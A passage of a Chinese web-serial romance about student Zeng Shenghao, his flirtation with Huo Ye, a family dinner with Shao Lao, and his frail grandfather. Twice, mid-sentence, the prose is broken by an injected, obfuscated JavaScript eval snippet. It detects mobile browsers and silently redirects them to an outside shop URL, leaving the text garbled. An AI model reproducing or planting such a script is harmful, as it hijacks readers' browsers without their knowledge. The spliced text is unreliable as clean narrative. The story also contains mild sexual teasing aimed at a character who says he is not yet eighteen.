他自幼随爷爷在国内,后来去英国住独栋别墅,父母都不常回家,只有两个保姆和一个管家照顾他。 不过他爸妈会经常打电话询问他的学习和生活,耐心聆听他的烦恼,及时给予他安慰和鼓励,也从没在物质方面亏缺过他,因此曾盛豪认为他的家庭关系是比较健康的。 “想什么呢?”霍晔瞅他。 “想……”曾盛豪顿了顿,“我以为昨晚过后,你不会愿意再理我了。” “没想到吧,”霍晔笑了声,“我心胸还挺宽广的。” “谢谢,”曾盛豪也冲他笑,“昨晚我态度也有不好的地方,既然话都说开了,以后我们就正常相处吧。” “好的宝贝儿。”趁着当下没人,霍晔残手忽地搂住他腰,凑在他嘴角飞快嘬了两口。 曾盛豪登时拧起眉头:“霍晔!” 霍晔无辜眨眼:“干嘛啊,你说的正常相处啊!咱俩从始至终都是这么个处法儿,不是么?” 曾盛豪冷着脸推开他,兀自拎着橘子往前走。 “随便你吧,反正下学期我会考虑找一个可以发展正常关系的对象,整个北京城也不是只有你霍晔一枝独秀!” “交!随便交!”霍晔笑得吊儿郎当的,慢悠悠的步子来回晃荡在他左右,“你交一个我就抢一个,你交两个我就抢一双,看咱俩谁魅力大!” 曾盛豪怒道:“你无耻!” 霍晔迈着腿绕到他面前,笑吟吟弯腰向他行了一个标准的绅士礼。 “谢谢夸奖。” 要不是等下要去见邵老,曾盛豪真恨不得把手里的橘子全摔这无赖的脸上! 他现在甚至都分辨不清,霍晔到底是喜欢他,还是单纯就喜欢捉弄他、故意气他! “各退一步吧,”曾盛豪压抑着火气,“你到底想要什么?” “我要睡你,”霍晔认真望着他的眼,“还要你哭着喊老公的那种。” “滚——!!” 曾盛豪最终还是将那兜橘子全摔在了霍晔的脸上。 霍晔提前找老爷子打过招呼,因此二人刚到内院便闻到扑鼻的农家饭香。邵老戴着副老花镜,正眯眼凑在花架上修剪盆栽,邵老太忙活完,从屋里探头嚷他“这都几点了,那俩人啥时候到啊?”,邵老“嗐”一声,慢悠悠说一句“不着急”,门口霍晔一声吆喝,笑道:“这儿呢!” 邵老扭头一瞧,见霍晔身旁立着个高大男孩儿,不自觉眉开眼笑起来:“诶哟,这就是盛豪了吧。” 曾盛豪连忙拎着霍晔重新捡好的橘子走近,向对方鞠躬:“邵爷爷好!我也替我父亲向您问好。” 邵老接过他橘子,笑呵呵地揽过他肩膀:“走吧,进屋吃饭去吧!” 邵老太也笑着迎出来,曾盛豪又忙向她鞠躬问好,邵老太仰着脖子望着他笑:“诶哟,这孩子真好,个头儿比我们家小晔还高呢!” “我还会再长呢!”霍晔笑哼哼着进屋,歪头亲昵地挽住老太太的胳膊,“姥,今儿给我俩做啥好吃的?” “你瞧你,”老太太轻捶他一下,笑嗔道,“净想着吃,就不想我啊?” “哪能啊!”霍晔忙推着人坐下,殷勤道,“我给您揉肩,看做这一大桌子菜给我姥累的,不是有保姆吗,干嘛要这么辛苦!” “还说呢,”老太太哼一声,“你家老头儿嘴叼,吃不惯人家做的,就非愿吃我做的,我能有什么招儿啊?可不把人家都请走了呗!” 霍晔就笑眯眯地去瞅他家老头儿。 曾盛豪埋头跟在邵老身后,拒绝接触他目光。 邵老挥挥手:“行了行了,自家人做饭吃着舒坦放心,都洗手吃饭去!” 又满脸嫌弃地指着霍晔那一身正装:“这青天白日的,一不过节二不娶媳妇,你穿那么正式干什么?你怎么不再别个大红胸花呢?” 曾盛豪没忍住噗嗤笑出来。 霍晔轻啧一声,两手一摆,挺大方冲老头展示自己的西服套装:“这不见您的最高规格礼仪么!” 邵老立马瞅见他手,皱眉道:“手怎么回事儿?” 曾盛豪不动声色地竖起耳朵。 霍晔蛮随意“哦”了声:“走夜路摔的,小伤不要紧。” 邵老知道他嘴硬,只沉声叮嘱:“你年纪不小了,做人做事都要心里有数,别让人家再逮住了把柄,又添些不必要的麻烦。” 霍晔低头:“明白。” 席间话题自然都是围绕曾盛豪。 邵老太热情给他夹了满碗菜,笑道:“多吃点儿,肉都是自家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521268|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后院养的鸡鸭鹅,菜也是你邵爷爷自个儿种出来,绝对是绿色原生态。” 曾盛豪忙道:“谢谢奶奶。” 邵老一见曾盛豪也是赞不绝口,从对方衣着气度到谈吐礼仪,夸赞他儒雅斯文,面相也十分温润和气,既谦逊规矩,又不至于像他父亲那样执拗死板。 霍晔一边啃排骨,一边瞟着眼神打量曾盛豪。 曾盛豪这不要脸的抄袭怪,今天穿的一件深灰羊绒开衫毛衣、纯白内搭、黑色牛仔裤和板鞋。 不过刚才路上,曾盛豪还穿着毛呢大衣外套。这小子很怕冷。 正陶醉于某人的美貌,冷不丁听到老爷子那句“不至于执拗死板”,霍晔险些笑喷。 趁老爷子发飙训他之前,霍晔忙道:“那曾叔叔得是有严肃啊?” 邵老忽然神秘一笑,扭头问身旁人:“你爸妈怎么走到一起的,恐怕你也不知道吧?” 曾盛豪仔细回忆了一下,然后摇了摇头:“他们没提过这些。” 据邵老说,当年曾盛豪父亲曾孝席在翻译司做司长,母亲隋莉是西葡处的副处长,二人上下级同事关系长达八年,除了工作上的事,俩人没有说过一句多余的话。 直到那一年,隋莉陪同重要领导人出席外事活动,一家海外合作方领导人在会议上看中了她,等会议结束,对方当即提出天价薪酬,点名要将她挖走做自己公司的高管。 因工作性质,隋莉无法经常回家,为表亏欠,她所有积蓄全都上缴了家里,自己一直住在简陋破旧的员工宿舍,那年恰好老家哥哥结婚,父母拿光她积蓄给哥嫂全款买了新房,又帮哥哥买了个高中文凭,家人一通上下打点,从小不爱读书的哥哥就去了市重点高中做了政治系主任,隋莉十分不满,自觉一腔赤诚孝心全都付诸东流,父母那边的说辞是,成家的男人,需要有个体面的工作。 隋莉心灰意冷,几乎没怎么犹豫就接受了那家外企的高薪聘请。 隋莉正式离职那天,同事们为她举办了小型欢送会,一向被大家私下吐槽没有人情味的司长大人,竟也罕见地出席了这场并没有人邀请他的活动。 临近散席,一众同事抱着隋莉哭了起来,场面一度难舍难分,唯独司长大人全程被晾在一旁,没人理他。 最后,隋莉哭着招手向大家道别,说要回家收拾行李了。 司长大人突然站起身,公然滥用职权,勒令一众向隋莉献殷勤的男同事们赶回去加班。他顶着那张万年化不开的冰山脸,缓缓朝她走来,询问他可否送她回家,聊表一下上级的心意。 隋莉有点懵。 但她当然不能推辞上级的心意。 于是稀里糊涂地就被司长大人载走了。 俩人行车一路,依旧一句话没说。 直到隋莉下车,一边解着安全带一边道谢,司长大人打开手边抽屉,递给她一个蝴蝶结包扎的小扁礼盒。 他讲着一口永远挑不出毛病的官腔,祝愿她此去繁花似锦,前程浩荡如虹。 司长大人从不轻易发表私人祝愿,这随口简单两句话,却精准击落在到隋莉的心坎儿上,惹得她竟红了眼眶。 她接过礼物,再次道谢。 他礼貌点头,转身离去。 等隋莉回宿舍拆礼物一看,那个做工精美的小扁礼盒里,竟然躺着一条价值近乎十万元的大溪地珍珠项链,吓得她当晚差点疯掉了。 “在那个年代的十万块,堪比如今的好几百万啊!”邵老啧声道,“也就孝席他祖上有钱,本来这人挺含蓄低调的,谁知道他一出手就这么凶悍?” 霍晔若有所思地挠了挠下巴,询问:“后来呢?” “后来——” 后来隋莉当然要去找司长大人还项链了,司长大人却一再推脱,借口工作忙,借口吃饭,借口休息,借口上厕所,借口要回家买菜洗衣服拖地遛狗。 隋莉于是被迫天天追着他跑,甚至都入职国外公司了,她也要抽假期跑回国找他。这一来二去,两人就熟络上了,郎才女貌,且都大龄未婚,没过半年,二人就顺理成章地在一起了。 一众男同事们后知后觉,收到新郎新娘婚礼邀请函的时候才知道这俩在一块儿了,不约而同都暗骂司长大人卑鄙无耻。 “哎,你爸这个人啊!”邵老喝酒上了头,拉着曾盛豪的手絮叨个不停,“大男人喜欢就说喜欢嘛!哪有逼着人家女孩子追他的!真不害臊!” “就是!”对面霍晔亢奋极了,大声附和道,“真不害臊!” 曾盛豪红了脸,低声道:“我不知道我爸原来……” 霍晔打断:“少来,你也好不到哪儿去!” 曾盛豪无端心虚:“你喝多了。” 霍晔拎过手边老茶壶冲他展示:“你见过黄得掉茶叶渣儿的酒么?” 曾盛豪:“……好吧。” 一顿饭吃到快两点,曾盛豪又陪着邵老说了会儿话,等着老爷子回房午睡了,这才和霍晔结伴离开大院。 曾盛豪下午要赶飞机,原以为霍晔会张罗着要送他,结果这人就让龙溪把他丢在学校门口,自己则跟喝晕了似的,一边皱眉揉着太阳穴,一边化作烂泥瘫倒在后车座,苦哈哈地跟他说自己快撑不住了,得立马回家补觉去。 补觉,补觉? 曾盛豪都不好意思戳穿,就霍晔这三分钟热度的劲儿,还好意思说想睡他? 这个人有一点要做攻的自觉性么? “随便。”曾盛豪转身就往学校里走。 “诶……”霍晔无奈地喊了他一声,对方走远了没有听见。 霍晔忘了自己是残手,翻了个身,从裤兜掏出碎屏的手机给人发信息: 【别不开心了,等我休息好了,我找你玩儿去】 等老半天,对方没理他。 霍晔轻啧一声,然后笑嘻嘻编辑: 【过完年找你怎么样?过完年我就十八岁了】 对方立刻回复过来一条: 【你这是虚岁记龄法,不是法律意义上的成年】 霍晔笑得头疼,继续编辑: 【那我满十八周岁了,你又怎样?】 曾: 【不怎样,我祝你生日快乐】 霍: 【没关系,我就算未成年也乐意给你泡】 曾: 【我拒绝】 霍: 【你不能拒绝,因为你不能言而无信】 曾; 【?】 【我又答应过你什么了?】 霍: 【开学第一天你就答应过给我手机贴膜,现在我屏碎了膜也坏了,都怨你,你要负全责】 曾: 【又不是我摔坏的】 霍: 【不管谁摔的,你都要给我贴膜】 【你就说你遵不遵守承诺吧】 半晌,曾盛豪回复: 【行吧】【死亡微笑emoji】 21. 第二十一章 曾盛豪背着书包,一手拉着行李箱走出接机口,另一手正要举手机打电话,两个西装革履的家人忙小跑迎上来,一面笑着和他寒暄,一面帮他拿书包和行李。 “新学校适应吗?住宿习惯吗?” “还好,我爷爷最近身体怎么样?” “老样子,不过今天精神很不错,清早用过饭,他自己拄着拐杖一口气绕着园子溜达了大半圈,光念叨着你今天回来呢。” 曾盛豪就笑:“我爷爷事必躬亲惯了,不愿麻烦别人,但他毕竟都九十多了,平时出行走动,还需要你们多辛苦扶着他。” 那家人忙道:“知道知道,您放心,都跟着呢。” 曾盛豪很少对家人摆谱,家人也就很少对曾盛豪用“您”这个字眼。 一座价值1.3亿的私人园林,里里外外都住着人,曾盛豪从小在这片占地总共十五亩的江南风景画里长大,对“家人”这个词称呼得很宽泛—— 任职于曾氏家族办公室、出身宾夕法尼亚大学沃顿商学院的秘书长叔叔可称之为“家人”,每天守在门口犯困打瞌睡看黄|色杂志的保安爷爷也可称之“家人”,常住家庭内院的私人医生和护工们可称之为“家人”,随行外出时,负责开车和保卫工作的司机保镖等也可称之为“家人”。 总之,从曾盛豪一出生,身边团团围绕着他的就有近百号的家人。 曾家祖上是县令,举人出身,精诗文擅词画,随手挥几笔字,便是远近闻名千金难求的墨宝。 曾大人年俸不足五十两,然而家中成群妻妾儿女奴仆要养,外头官衙仆役也要养,每逢洪灾荒年,他必定自掏腰包向辖区灾民布施粥米,为流离失所之人搭棚建舍,更不提为官之道,在于“和光同尘”,他上下交通也需要养。 于是曾大人便不吝买卖才华,大把卖字卖画卖才情,大把大把的敛财,于临终之际,上有长官照顾,下有子民爱戴,他自己低调简朴一世,私下竟也是腰缠万贯的身家。 俗语说,富贵传家,三代之内必出逆子。 这话在曾家似乎不太好使。 曾大人管教子女有方,后世几代儿孙都十分争气,没有一个去做官的,全都跑去经商,甘愿成为主流社会看不起的“下等商贾”,保全财富,更保全自己。 儿孙们遗传祖辈优良基因,没把老爷子家底败光不说,积蓄反而比原先更富百倍,直至逢上晚晴洋务运动,民间许多知识分子渐渐觉醒,开始在为救亡图存四处奔走。 曾家人亦义无反顾投身时代洪流中,儿孙们带着一腔雄心壮志与花不完的钱财,陆续都搭上了远洋邮轮去国外留学,各自分散在日、美、德、英等世界各地,只是后来谁也没想到,八国联军攻伐京师,《辛丑条约》丧权辱国,津、汉、沪租界遍地,军|阀混战民不聊生,东北日寇的铁蹄又将我华夏大地践踏得满目疮痍……大部分儿孙或自愿、或被迫留在了国外,仅有少数几个人冒死回国,因精通外语,皆从事潜伏与情|报工作,舍身忘我地投入到红色革|命事业中。 到曾盛豪爷爷曾肇林这一代,整个家族就只剩他一个人。 近代外交开端于晚晴政府设立总理各国事务衙门,1949年新中国成立后,第一任外交部长周总理领导下的中华人民共和国中央人民政府外交部成立,正式开启我国真正意义上的现代外交。 建国之初,上层体制急需先进人才,曾肇林从德国留学归来,本人精通英、德、日、法、西、葡、拉丁语等七门外语,按当时国情,他被派往与我国新建交的社会主义国家阵营中,成为驻非洲某小国领事馆的一员。 曾肇林尽职尽责,扎根非洲二十多年,数次在两国紧张局势下维护我国独立自主的和平外交方针,坚守我国立场,期间反复感染恶性疟疾,几度病危,始终不申请调回,最终于任期结束之后,才启程回国治愈。然而多年驻外艰苦生涯,使他终身肝肾损伤,常年体虚乏力,免疫力全面崩溃。 曾老爷子五十岁就开始拄拐; 六十岁,历经一次重大病危,整个人瘫在轮椅上无法动弹,气息将绝; 七十岁,经由领导再三慰问催请,他住了十年离休干|部特护区,得以调养生息,情况日益好转; 八十岁,上头清算家产要归公国有,清算到他头上,老爷子为保下三代富贵,强撑着一口气,硬是从特护病房搬回家中园林居住,放话说“人在园在,人不在了,他曾家祖传的园子还得在!”上头没话说,干脆就睁一只眼闭一只眼了。 如今老爷子九十多岁,一听小孙放假回家,高兴得跟三岁孩童似的,大清早美滋滋地从被窝爬起来,逮住家人们挨个都嘱咐八百遍,中午一定要给他的小孙做好吃的! 这一别半年,不长不短,老爷子念孙心切,不许人扶,自个儿拄着拐杖,眉目含笑地立在家门口翘首以盼,一站就是俩小时,不可不谓其生命力之顽强。 曾家三代单传,曾孝席又是晚婚晚育,老爷子铁了心,一定要等着小孙成家立业了才甘心闭眼。 曾盛豪下了车,一见老头笑呵呵地拄着拐杖杵在那儿瞧他,登时心窝一热,啪嗒啪嗒数不清的眼泪就掉了出来。 他心里有愧。 登机前,他在路边手机维修店买了六十多盒手机膜,鼓囊囊都背着上了飞机。这一路行程,他埋头潜心钻研手机贴膜,脑海中反复沉浮起那个男孩儿的如花笑靥,耳畔也总回荡着对方轻浮戏谑的玩笑声……他真是着了魔了,每每一想到男孩冲他撒娇耍赖的样子,自己竟也傻乎乎地笑出声来,甚至他才刚离京,就盼着男孩赶紧休息好了,赶紧来找他玩儿,随便两个人凑在一起做点什么,他都觉得好开心、好幸福…… 眼下老爷子竹竿儿似的笔直挺立在他面前,一副清癯瘦骨,苍白病容,他一颗沉浸在粉色梦幻当中的心,刹那间就被冲击得就只剩下无比的惭愧、内疚! 因为太知道吊着老爷子的一口气是什么,他唯恐自己走歪一步路都是此生无法挽回的罪孽。 “哎哟,哭什么?”曾老见小孙红了眼眶,登时心疼得不行,不禁也跟着心窝一热,眼底含了几分泪。 俗话说,隔代亲。曾老年轻时背井离乡,妻子原本随任去非洲,住了两年实在无法忍受恶劣环境,便带着刚出生的儿子回国。这两地分居二十多年,夫妻全靠写信维系感情,致使父子关系也生疏如外人。 当年曾肇林回国探亲,提前打好招呼,少年曾孝席领着众家人亲自去机场迎接,他手里拿着父亲旧照,守在接机口茫然良久,半天没认出来是哪个。 曾家家业庞大,妻子回国忙着操持家事,对儿子只一味严厉管教,曾孝席长大成人,只从书本中学得要通晓情理,本人性格则极度含蓄内敛,从不外露任何情绪,即便后来曾老爷子卸任回国,父子仍无法变得亲近。 曾老心有遗憾,便将从小养在膝下的小孙宠上了天。 今年是小孙第一次住校,听说同宿舍还有个部队出身的混世魔王,老爷子心里疼,觉得小孙肯定吃了不少苦头。 “叫人家给欺负了没有啊?”曾老笑呵呵地问,瘦得皮包骨头的手帮小孙擦眼泪,“哈哈哈,看给你委屈的,同学老师们又都不喜欢你了?” “没有。”曾盛豪匆忙擦干眼泪,“他们都很好,是我不好。” “你怎么不好了,哼,论才德品行,你同学有几个比得过你的?”曾老不以为然,“不必管人家怎么议论你,真要和人家起争执了,一定是别人的错!” 曾盛豪就笑,搀住老爷子的手,用身体给人挡风:“真没有,我同学每个人都很好,外头冷,爷爷我们进家吧。” “要是真受欺负了一定得告诉我,过分谦让就是怯懦了,我们可不能怯懦!” “好好好,”曾盛豪笑起来,“真被欺负了,我一定会找您告状的。” 爷俩这般说说笑笑,曾盛豪回房洗漱换衣服,又陪老爷子用午饭。 席间老爷子又问起他学习如何,曾盛豪就给对方看自己拿国才杯冠军的照片,还有当初周羽江箫他们去餐厅庆祝他拿奖的团建照片,哄着老爷子又好一阵高兴。 闲话一直絮叨到下午三点,直到住家医生徐冕拎着医药箱进来给老爷子做检查,提醒曾盛豪不能让老爷子情绪太激动,曾盛豪便忙收起照片,不准他爷爷再欣赏,也不许爷爷再没完没了的夸他。 陪老爷子看完诊,又劝着人吃药休息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521269|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾盛豪在院子里和徐冕聊老人病情。 徐冕住家多年,一直贴身侍候老爷子,对曾盛豪也不藏着掖着,只说,情况乐观的话,老爷子起码还有五六年活头。 曾盛豪忧心忡忡道:“不乐观呢?” 徐冕:“随时。” 曾盛豪心沉沉的,问:“还有什么需要我特别注意的吗?” 徐冕便劝慰:“你要真想尽孝道,尽早订婚吧,哪怕只是女朋友呢,你带回来给他瞧瞧,万一真有点什么事,也好让老人家走得踏实。” 曾盛豪沉默,好半响,低头嘟囔一句:“你们这都是封建糟粕思想……” 徐冕没太听清:“什么?” 曾盛豪皱眉:“我怎么可以为了哄他高兴就随便找女生谈恋爱?” 徐冕不太理解:“你现在上大学了,迟早要谈恋爱吧?不管你跟谁谈,你总要先试试吧?我的意思是,老爷子没剩几年时间了,他很可能赶不上你结婚了,所以哪怕只是正在初试阶段的恋爱对象,你尽量把人领家里给老爷子瞧瞧,让他高兴一下。” 曾盛豪眉头紧锁,思考半天,找不到反驳的点。 他瞟了一眼徐冕,坚持抗争道:“我认为用婚姻给一个人定性属于旧时代思想,这种执念不可取。” 徐冕被他逗得一乐,拍了下他肩膀:“咱家老爷子就是旧时代的人,你能怎么着?” 曾盛豪理直气壮:“反正如果爷爷因为这件事有遗憾,我不认为是我的错。” 徐冕点头附和:“理解,毕竟你和你爸这如出一辙的驴脾气劲儿,咱全家上下也没指望你小子能在三十岁之前就谈到女朋友。” 曾盛豪:“……” 忽然想起什么,他小声问徐冕:“徐叔叔,您知道我爸妈当年是怎么在一起的吗?” 徐冕点头:“知道啊,你妈追的你爸,俩人谈恋爱那会儿,你妈工作那么忙,还抽空给你爸织了好几件毛衣呢!当时你爸天天换着样儿穿,最后把毛衣都穿起球了,他还一脸认真地伸手指把线头给重新戳进去,逗得你妈笑话了他好几天!” 见曾盛豪一脸困惑地望着他,徐冕又不禁感叹:“唉,就你爸那种性格,也就只能靠他那张脸吸引女生了。” “不过当初他快四十了才初恋,花期盛开的稍微晚了点,”徐冕肩膀撞他一下,笑道,“咱们小少爷,你可千万别走你爸的老路啊!这人啊,甭管男女,谈恋爱还是得趁年轻,知道不?” “为什么一定要年轻?”曾盛豪问,“年龄大些再谈婚论嫁岂不是更有保障?” “保障?什么保障?婚姻吗?原来你还觉得婚姻是永久有效期吗?”徐冕笑问,“那我问你,如果你年轻的时候爱上一个人,你却因为对方无法给予你保障就放弃掉对方,等将来某一天,你终于和另一个你其实没那么爱、但对方愿意给你‘保障’的人步入婚姻,你会不会后悔这辈子没能和你真正爱过的人在一起过?” 曾盛豪果断道:“既然我选择和对方结婚,那我一定是深爱对方的,我会对这段婚姻负责到底!” 徐冕摇头笑:“不,你要知道世界上大多数的夫妻是没那么相爱的。” 曾盛豪皱眉:“不至于是大多数吧。” 徐冕瞪他:“我在哈佛读医科的时候还顺利毕业了社会学博士,毕业论文方向就是婚姻家庭与亲密关系,你再给我犟一个试试?” 曾盛豪忙低头道歉:“那、那肯定是我不对。” 徐博士瞬间趾高气扬起来:“下面,仅就我的问题,回答我,你会不会后悔?” 曾盛豪被徐博士耀眼的光辉闪得有点眼晕:“后、后悔什么?” 徐博士重复道:“等你和不爱的人步入婚姻殿堂的时候,你会不会后悔这辈子没能和你真正爱过的人在一起过?” 曾盛豪沉默。 不知怎的,眼前忽然飘过礼堂主席台上那条“热烈祝贺叶祖阳同志与傅慧女士新婚之喜”的大红横幅,霎那间,他呼吸骤然滞涩,心脏也不受控地抽搐了一下。 “会后悔么?”徐冕语气仿佛审讯逼供一般。 “这是我自己的事。” 曾盛豪撂下这话,转身一溜烟飘走了。 22. 第二十二章 尽管曾盛豪是一个坚定的马克思主义无神论者,自从那天和徐冕交谈过后,对方一句“随时”便如同一柄达摩克利斯之剑,日夜高悬于他头顶。 明晃晃的雪亮剑光如影随形,不断将他试图隐藏起来的私密心事曝露于阳光之下,令他深感罪孽,几乎不敢直视老爷子慈祥宠溺的目光。 曾盛豪决定去他家附近的著名寺庙捐些香火。 随行司机兼保镖叫冯洪,格斗冠军出身,一脸悍然匪气,新来不到半年,没有见过曾盛豪,因此一直对他很客气。 别的家人都喊他“小豪”,只有开玩笑时才逗他一句“少爷”,冯洪可能是豪门小说看多了,永远一脸认真地喊他“大少爷”,听得曾盛豪怪怪的。 “你直接喊我名字就好了。” “这不合适,少爷。” “……别叫我少爷。” “遵命,少主。” 曾盛豪一脸无奈地坐上后座。 “少主,”冯洪发动车子,扭头询问,“您喜欢听音乐还是听书?” “听书。”音痴少主毫不犹豫地说。 冯洪便打开车载听书,下一秒,豪华轿车内充斥着男主播声情并茂的旁白: “第八百二十四集:帝骨终显。” “只听‘哗啦’一声,石破天惊!丐帮帮主洪老三大喝一声:‘谁敢伤我少主,老朽定让他神魂俱灭!’” 曾盛豪:“……” 年底寺庙游客众多,二人在山脚就闻到了飘满山的香火气。 路过正门,车窗缓缓降下,曾盛豪不经意瞥去一眼,检票口外排着数不清黑压压的人头,前来烧香的男女老幼们紧随着蜿蜒蛇形的队伍缓慢地移动,前不首后不见尾。 冯洪直接将轿车驶进寺庙内院,两个知客僧来迎接,恭敬引领着曾盛豪和冯洪去禅室喝茶、听诵经。 曾氏全族历来都不信佛,但在寺庙香火供奉不曾断过,秉持的是天下为善的念头,也求这绵延香火可以福泽子孙后世。 曾盛豪认为佛家轮回观和他唯物主义观相悖,一边假装耐心地听着老僧给他分析前世今生,不时附和几句,一边心不在焉地喝着主持亲手为他沏的陈年普洱,心想着,等回家路上,不如就安排冯洪去把房子打扫出来。 霍晔前两天和他通过电话,说最近转岗到战略部,正跟着管理层的领导们在余姚出差,一行人白天巡视车间检查生产链,晚上和余姚分部的领导们一块儿组局喝酒打牌唱K泡脚吹牛逼,全天没个消停的时候。 余姚离曾盛豪这边不算远,霍晔工作结束就会来找他玩儿。 霍晔那晚喝多了,在电话里不停嘟囔,说他喝不醉,就是头疼,只要曾盛豪喊他几句老公就病好了。曾盛豪没有理会霍晔的调戏,心里倒是总记挂着。 “这次来,”主持笑问,“又是替你爷爷祈福吧?” “是。” “真是孝顺啊,”主持感叹,“如今像檀越这样虔诚礼佛的年轻人,不多见了。” “还有——” “还有什么?” “我有位很要好的男性朋友经常耳鸣头痛,”曾盛豪撂下茶杯,抬头和主持对视一眼,“我也想帮他求一个护身符。” 主持明显一愣。 曾盛豪给冯洪使了个眼色,冯洪半蹲在地打开保险箱,从里面拿出六摞手掌长短厚度的红纸封,将一百五十万整齐地码在主持案前。 “劳烦主持帮我家少爷再点一盏灯。” 一连声“咚咚咚”的闷响,好似无数砖头落在轻羽之上,震得主持杯中茶水不停溅出。 “倘若我心虔诚,”曾盛豪虚心求教,“佛祖会保佑我们吗?” “阿弥陀佛,”主持缓缓闭目,双手合十道,“一定会的。” * 曾盛豪把给老爷子求来的平安符挂在他紫檀拐杖上,并把主持的祝福语一字不差地转述给他听,哄得老爷子又高兴了好几天。 曾盛豪也高兴。 他不认为随便找个女朋友扮演愚孝给老爷子冲喜会起什么作用,事实证明,他一个人同样可以令老人家心意畅快。 至于霍晔—— 那是佛祖允许过的。 徐冕最近察觉到曾盛豪和冯洪走得很近。 徐冕是园子里的老人了,他不晓得冯洪一个新人,哪来的胆子开着主人家的豪华轿车天天出门去?某天没忍住,他半路把冯洪拦下,问对方又要干嘛去? 冯洪按照少主交代的:“说是有个余姚的朋友要来做客,让我提前安排一下住的地方。” 徐冕好奇:“什么朋友?他新认识的几个大学同学里,也没有在余姚的吧?” 冯洪:“少爷说,谁想知道,亲自去找他问。” 这话吓唬别人还行,徐冕可不吃这套。 仗着资历老,徐冕二话不说提着医药箱就跑去找曾盛豪院子里交流老爷子病情去了。 午后阳光明媚,照耀在清幽小院的粉墙黛瓦,院内石假山叠错,微风吹过杨柳绿坪,人工河内活水翻腾着朦胧蒸汽,几只散养麻鸭争相追逐着水下的大红锦鲤鱼。 徐冕翻来覆去就那么几句话,曾盛豪清早接到他爸妈要回国的消息,一整天正愁得脑袋疼,书都看不进脑子,实在没心情陪这老太医聊天解闷子。 徐冕瞧出他不耐烦,连忙好奇问:“余姚的朋友是哪个?” 曾盛豪淡淡“哦”一声:“您不认识。” 徐冕仔细观察他表情,打趣道:“不会是网上聊的女孩子吧?” 曾盛豪就笑:“徐叔叔如果早对女孩子这么上心,就不至于打一辈子光棍儿了。” 徐冕“嗐”一声,挥挥手:“早些年潜心钻研学问,没功夫谈情说爱,现在头发都掉光了,谁看得上我!” 曾盛豪笑道:“我和您是一样的心思。” 徐冕挑眉:“哦?” 曾盛豪别过脸:“我也不想谈女朋友。” 徐冕就觉得这孩子很没意思,转身拎起药箱就要走。 走没两步,又倒回来,热心告诉他:“诶,你爸妈要回来了。” 曾盛豪抿了下唇:“我知道。” 徐冕诧异:“头一次见你这么上心。” 曾盛豪勉强笑:“毕竟好久没见了。” 曾盛豪父母工作忙,当初开学也是家人送他进京。 一群人事无巨细,全都给他交代清楚,又怕他孤单,特地多留了几天,陪他吃喝玩乐,逛了好些景点才离开。 眼下距离春节还有一周,他爸过年需要在岗出席驻在国的庆典、代表祖国慰问侨胞,一堆繁忙事务,因此会提前回来几天探亲。 他妈倒是年假充裕,曾盛豪一向也和她更亲密,不过这一次…… 他宁愿是他爸多留两天。 翌日清晨,曾盛豪顶着一双熊猫眼,困殃殃地领着几个家人去机场接父母。 一帮西装皮鞋黑大衣在接机口东张西望好半天,直到曾盛豪领着冯洪去星巴克给大伙儿买饮料,才发现他爸妈谎报行程,俩人正坐在附近阿拉比卡店的临窗吧台在喝咖啡聊天。 “爸,妈,什么时候到的?”曾盛豪怨气幽幽地飘到他们面前问候。 隋莉见势扭头,忙笑着起身给他一个拥抱:“儿子,好久不见,一切都好吗?” 曾盛豪心虚地“嗯”了声。 曾孝席紧随着站起身,父子二人目光短暂相接。 曾孝席:“你爷爷身体怎么样?” 曾盛豪:“最近精神不错。” 曾孝席:“你学习怎么样?” 曾盛豪:“挺好的。” 曾孝席点点头,从旁边座位拎起一个百利金手工雕花钢笔的小礼盒,递给他:“新年礼物。” 曾盛豪接过,笑道:“谢谢爸。” 尽管老爷子和曾孝席父子关系尴尬,全家人第一顿团圆饭也必须要围在一起吃。 曾盛豪和父母各自在外面都有住所,毕竟这偌大园林,春秋冬还好,夏天蚊虫叮咬,草丛蟑蛇出没,不是谁都受得了。老爷子每逢夏天也会搬到干部疗养院去住,曾盛豪暑假经常去陪着。 饭间,曾孝席和隋莉提出他们商讨许久的事:干脆让老爷子搬去疗养院住,那边医疗设施更完备,还有大型抢救仪器,医生专业且数量够多,万一老爷子有什么紧急情况,众人应对起来更方便。 曾老一听这话,脸一耷拉,筷子一撂,气呼呼地说他不吃了! “你们两个逆子!这祖传的园子是不打算要啦?”老爷子瞪着他俩,“我一个人活得好好的,我愿住哪里就住哪里!愿死哪里就死哪里!我还不够让你们省心啊?” “爸,”隋莉忙安抚,“人家都说了,他们不会再来收了,您就放心养病好了,再说了,一个园子而已,身外之物真没了就没了吧,哪有您的健康重要啊?” “我不走!我就要住这里!”老爷子倔强道,“等我没了,我家小孙也得住在这里才行!你们少赶我!” “盛豪名下的房产够多了,他不差这一个。” “这是咱老曾家祖传的!是几百年的国宝!哪能和外头钢筋水泥砌起来的破烂货一样?!” 隋莉无奈,扭头去看曾孝席。 曾孝席顿了顿,说:“那就听爸的。” 老爷子见他这副态度,突然没由来一阵心寒,颤声道:“你给我出去!” 曾孝席无奈起身就要出去。 这几乎每年都要闹这一出,曾盛豪有心无力,连忙去扶老爷子:“爷爷您别激动,我爸妈不是这个意思。” 